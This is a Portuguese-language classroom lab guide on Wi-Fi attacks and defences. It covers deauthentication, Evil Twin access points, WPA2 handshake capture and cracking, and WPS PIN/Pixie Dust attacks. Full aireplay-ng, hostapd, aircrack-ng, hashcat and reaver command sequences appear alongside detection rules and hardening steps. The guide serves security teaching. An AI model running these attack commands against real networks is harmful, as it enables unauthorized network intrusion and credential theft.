⚔ Laboratório 04 · Ataques e Contramedidas

Ataques a Redes Wi-Fi e Contramedidas

Demonstração em ambiente isolado e autorizado dos principais vetores de ataque: desautenticação (DeAuth), Evil Twin / Rogue AP, captura de handshake WPA2 e ataque ao WPS PIN. Análise de impacto e contramedidas para cada vetor.

DeAuth · 802.11w Evil Twin · Rogue AP WPS PIN · Pixie Dust Contramedidas práticas Somente rede própria/autorizada
4
Vetores de ataque
11k
Tentativas máx. WPS
PMF
Proteção contra DeAuth
WPA3
Contramedida recomendada
⚠️ Aviso legal. Execute somente em ambiente de laboratório isolado, em redes próprias e com autorização explícita. Ataques a redes de terceiros são crime — Lei 12.737/2012 e Lei 12.965/2014. Nunca aplique estas técnicas fora do contexto educacional autorizado.

Sumário

  1. Objetivo e ambiente
  2. Ataque DeAuth — desautenticação
  3. Evil Twin — Rogue AP
  4. Captura forçada de handshake
  5. Ataque WPS PIN
  6. Contramedidas e hardening
  7. Atividades avaliativas

1. Objetivo e ambiente do laboratório

Este laboratório demonstra ataques a redes Wi-Fi em um ambiente completamente isolado. O AP de laboratório não deve ter conectividade com a Internet nem com redes institucionais. Clientes são notebooks ou smartphones exclusivos para o laboratório.

Topologia do ambiente

ComponenteConfiguraçãoPapel
Access Point de laboratórioMercusys MR30G / TP-Link Archer C6Alvo dos testes — rede isolada sem Internet
Máquina do atacanteKali Linux + adaptador Alfa AWUS036ACHExecuta as ferramentas de auditoria
Cliente legítimoSmartphone Android / notebookSimula usuário conectado ao AP
SSID de laboratórioLab-WiFi-Seguro / senha: LabSenha2024!Rede de teste com credenciais conhecidas
Antes de iniciar: confirme que o AP não tem rota para a Internet. Use um switch/roteador separado e uma faixa de IP dedicada (ex.: 192.168.99.0/24).

2. Ataque DeAuth — Desautenticação

O ataque de desautenticação explora o fato de que, sem PMF (802.11w), frames de gerenciamento não são autenticados. Um atacante pode enviar frames Deauthentication forjados com o endereço MAC do AP, forçando a desconexão de clientes.

Mecanismo do ataque

Capturar BSSID e MAC do cliente
Forjar frame DeAuth (src=AP)
Injetar no canal do AP
Cliente desconecta
Capturar handshake na reconexão

Execução no ambiente de laboratório

# Passo 1: identificar AP e cliente com airodump-ng
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:11:22:33

 BSSID              CH  ENC   ESSID
 AA:BB:CC:11:22:33   6  WPA2  Lab-WiFi-Seguro

 STATION            PWR  ESSID
 DD:EE:FF:00:11:22  -48  Lab-WiFi-Seguro  ← cliente conectado

# Passo 2: capturar handshake em segundo terminal
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w handshake wlan0mon

# Passo 3: enviar 5 frames de DeAuth
aireplay-ng -0 5   -a AA:BB:CC:11:22:33   -c DD:EE:FF:00:11:22   wlan0mon

Sending 5 directed DeAuth frames...
DeAuth frame 1/5 sent
DeAuth frame 2/5 sent
DeAuth frame 3/5 sent
WPA handshake: AA:BB:CC:11:22:33  ← handshake capturado na reconexão

# DeAuth broadcast (desconecta TODOS os clientes)
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 wlan0mon

Detectar DeAuth com Kismet

# Kismet alerta automaticamente sobre flood de DeAuth
kismet -c wlan0 --alert DEAUTHFLOOD,5,1

[ALERT] DEAUTHFLOOD: 5 DeAuth frames em 1s — possível ataque

# Via Wireshark — filtrar frames DeAuth
wlan.fc.type_subtype == 12

# Contar DeAuth por origem
tshark -r captura.pcap -Y "wlan.fc.type_subtype==12"   -T fields -e wlan.sa | sort | uniq -c | sort -rn

Contramedida: PMF (802.11w)

# /etc/hostapd/hostapd.conf — habilitar PMF obrigatório
ieee80211w=2   # 2 = obrigatório (Management Frame Protection Required)

# Resultado com PMF ativo:
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon
Error: send_deauth — No response. PMF ativo: ataque ineficaz.

3. Evil Twin — Rogue AP

O ataque Evil Twin cria um AP falso com o mesmo SSID do AP legítimo, em geral com sinal mais forte. O objetivo é fazer o cliente se conectar ao AP falso, permitindo interceptação do tráfego (MITM).

Criação de AP falso com hostapd

# Criar arquivo de configuração do AP falso
cat > /tmp/evil_twin.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=Lab-WiFi-Seguro
channel=6
hw_mode=g
auth_algs=1
ignore_broadcast_ssid=0
EOF

# Iniciar AP falso (requer segundo adaptador wlan1)
hostapd /tmp/evil_twin.conf

[hostapd] AP "Lab-WiFi-Seguro" iniciado no canal 6
[hostapd] Aguardando conexões de clientes...

# Observar clientes que se conectam ao AP falso
tail -f /var/log/hostapd.log

Detecção de Evil Twin

# Kismet detecta AP com SSID duplicado e BSSID diferente
kismet -c wlan0 --alert APSPOOF,10,60

[ALERT] APSPOOF: SSID "Lab-WiFi-Seguro" visto com BSSID diferente!
        BSSID legítimo:  AA:BB:CC:11:22:33
        BSSID suspeito:  FF:EE:DD:CC:BB:AA ← possível Evil Twin

# Via airodump-ng: dois APs com mesmo SSID
 BSSID              CH  ENC   ESSID
 AA:BB:CC:11:22:33   6  WPA2  Lab-WiFi-Seguro  ← legítimo
 FF:EE:DD:CC:BB:AA   6  OPN   Lab-WiFi-Seguro  ← FALSO (sem senha)

4. Captura forçada de handshake WPA2

# Fluxo completo: captura + DeAuth + crack

# Terminal 1: capturar handshake
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w handshake wlan0mon

# Terminal 2: forçar reconexão do cliente
aireplay-ng -0 3 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon
WPA handshake: AA:BB:CC:11:22:33  ← confirmado em Terminal 1

# Verificar handshake capturado
aircrack-ng handshake-01.cap
  #  BSSID              ESSID                  ENC  Handshake
  1  AA:BB:CC:11:22:33  Lab-WiFi-Seguro        WPA  1 handshake

# Tentar crack com dicionário (senha do lab é conhecida)
aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap
Testando 14.341.564 chaves...
KEY FOUND! [ LabSenha2024! ]
Tempo: 8m 12s  |  Velocidade: 28.921 chaves/s

# Alternativa mais rápida: hashcat com GPU
hcxtools -i handshake-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 rockyou.txt
Session: Cracked — Velocidade: 2.1 MH/s (RTX 3080)

5. Ataque ao WPS PIN

O WPS (Wi-Fi Protected Setup) permite configuração simplificada via PIN de 8 dígitos. A vulnerabilidade de design divide a verificação em duas metades de 4 dígitos, reduzindo o espaço de busca de 108 para 104 + 103 = 11.000 tentativas.

# Verificar APs com WPS habilitado
wash -i wlan0mon --ignore-fcs

 BSSID              Ch  dBm  WPS  Lck  ESSID
 AA:BB:CC:11:22:33   6  -55  2.0  No   Lab-WiFi-Seguro  ← vulnerável

# Ataque brute-force do PIN (lento, ~2-10h)
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv --delay 1

[+] Tentando PIN 12345670...
[+] Tentando PIN 00005678...
[!] Rate limiting detectado — delay aumentado para 5s
[+] WPS PIN: '87654321'
[+] WPA PSK: 'LabSenha2024!'

# Pixie Dust — exploração offline de chips vulneráveis (segundos)
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv -K 1

[Pixie-Dust] Nonces capturados — calculando chave offline...
[Pixie-Dust] PIN recuperado em 38 segundos!

# Contramedida imediata: desabilitar WPS no painel do roteador

Comparativo dos métodos de ataque ao WPS

MétodoTempoCondiçãoContramedida
Brute-force PIN2–10 horasWPS ativo, sem lockoutLockout após 3 tentativas + desabilitar WPS
Pixie DustSegundosChip Ralink/Broadcom vulnerávelAtualizar firmware ou desabilitar WPS
PIN estático (padrão)MinutosPIN padrão do fabricante em usoDesabilitar WPS — não existe outra solução eficaz

6. Contramedidas e hardening

Gerar senha forte para o AP

# Gerar senha de 24 caracteres aleatórios
openssl rand -base64 24
K9mXpQ2vRw7nLsYdFhJcUbE4==

tr -dc 'A-Za-z0-9!@#$%^&*' < /dev/urandom | head -c 24; echo
mK8!xR2@qP5#wL9%cD7^

7. Atividades avaliativas